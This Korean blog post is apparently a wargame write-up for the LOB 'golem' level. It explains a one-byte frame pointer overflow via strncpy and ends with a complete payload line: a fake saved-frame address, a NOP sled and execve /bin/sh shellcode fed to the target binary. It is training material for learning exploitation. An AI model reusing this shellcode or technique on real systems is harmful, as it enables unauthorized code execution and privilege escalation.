golem // cup of coffee
※ strncpy?
-
원하는 길이만큼 복사받을 수 있는 함수이다.
-
사용법은 strncpy(복사받을 변수명, 복사할 변수명, 복사할 길이)
이번 문제는 strcpy가 아닌 strncpy를 이용하여 지정된 버퍼크기만큼만 입력을 받는것을 공격하는 문제이다.
하지만 41바이트를 받아 버퍼오버플로우가 날수 있다.
먼저 FPO(Frame Pointer Overflow)에 대해 학습한뒤 원리를 이해하고 문제를 해결하였다.
(참고 : https://bob3rdnewbie.tistory.com/188)
이 원리는 서브 함수 스택 SFP를 overflow를 통해 shellcode의 시작주소 - 4를 통해 넣어주준다.
페이로드를 작성해주면 ret를 할때 sfp 주소가 main으로 가는것이 아닌 shellcode의 시작주소로 이동하게 된다.
먼저 페이로드에는 NOP + 쉘코드 (크기 40)를 넣어주면 세폴트가 뜨는것을 확인할 수 있다.
ret했을때 sfp에 담긴 주소가 정확하지 않아 뜨는것을 확인할 수 있다.
strncpy(buffer, src, 41)에 보면 1Byte를 Overflow시킬 수 있는 취약점이 존재한다.
이를 이용한것이 FPO 기법이다.
FPO 조건에는 다음과 같다.
-
SFP 영역에서 1Byte Overflow가 반드시 일어나야 함
-
메인 함수 이외 서브함수가 필요함
41바이트를 넣어줬을시 SFP Overflow가 발생해
서브함수에서
-
leave : (mov esp, ebp), (pop ebp)
-
ret : (pop eip), (jmp eip)
을 통해 변조가 되어 내가 원하는 주소로 이동한것을 확인해 볼 수 있었다.
그래서 위와 같이 메모리 구조를 완성해 보고 공격기법을 적용해 보았다.
먼저 셀코드의 메모리 주소를 확인을 했다.
쉘코드 시작 주소 : 0xbffffa94 (little endian : \x94\xfa\xff\xbf)
pop ebp를 통해 esp 레지스터가 RET를 가리키고 ebp 레지스터는 &(&shellcode)-4를 가리키게 된다.
그러므로 쉴코드의 시작 주소를 가리키는 주소의 -4 를 통해 SFP overflow를 해주면 된다.
./darkknight `python -c 'print "\x90\xfa\xff\xbf"+"\x90"*12+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
클리어! 처음본 FPO 기법에 대해 숙지하는 좋은 문제였다.
'System > LOB' 카테고리의 다른 글
[LOB_14]bugbear (0) | 2019.09.24 |
---|---|
[LOB_13]darkknight (0) | 2019.09.24 |
[LOB_11]skeleton (0) | 2019.09.24 |
[LOB_10]vampire (0) | 2019.09.24 |
[LOB_9]troll (0) | 2019.09.24 |